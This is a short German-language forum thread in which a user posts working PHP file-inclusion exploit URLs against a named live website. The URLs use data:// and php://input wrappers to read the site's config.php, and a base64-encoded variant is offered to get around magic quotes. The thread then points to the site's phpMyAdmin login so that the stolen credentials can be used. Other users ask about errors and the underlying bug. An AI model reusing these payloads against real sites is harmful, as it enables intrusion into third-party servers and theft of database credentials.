4 Antworten in diesem Thema

[Zero-X]

Eingabe:

http://thesums.de/seite/index.php?inc=data://text/plain,<? readfile("../mysqldumper/config.php"); ?>

oder:

http://thesums.de/seite/index.php?inc=php://input

und mit einem beliebigen Tool wie Live HTTP Headers oder dem Telnet-Clienten ein POST Request mit PHP-Code senden.

phpMyAdmin Login:

http://thesums.de/mysqladmin/

Login-Daten sind in der config.php

[ProHex]

ich bekomm folgenden fehler:

Warning: Unexpected character in input: '' (ASCII=92) state=1 in data://text/html, on line 1

ist das nicht schon fixed?

[Zero-X]

Anscheinend haben die jetzt Magic Quotes aktiviert.

So funktioniert es noch:

http://thesums.de/seite/index.php?inc=data://text/plain;base64,PD8gcmVhZGZpbGUoIi4uL215c3FsZHVtcGVyL2NvbmZpZy5waHAiKTsgPz4=

Das ist genau das selbe wie oben, nur ist der Code jetzt in Base64 codiert.

[pdr0]

Wie sieht die Luecke bei denen im Code aus? Es ist bestimmt kein einfaches include($_GET["inc"]);

[Zero-X]

Vom Code her ist es eine klassische Remote File Inclusion. Wenn man aber hinter "inc" etwas mit http:// oder https:// schreibt, gibt der Webserver die Fehlermeldung "403 Forbidden" aus.
php:// oder data:// nimmt er aber an.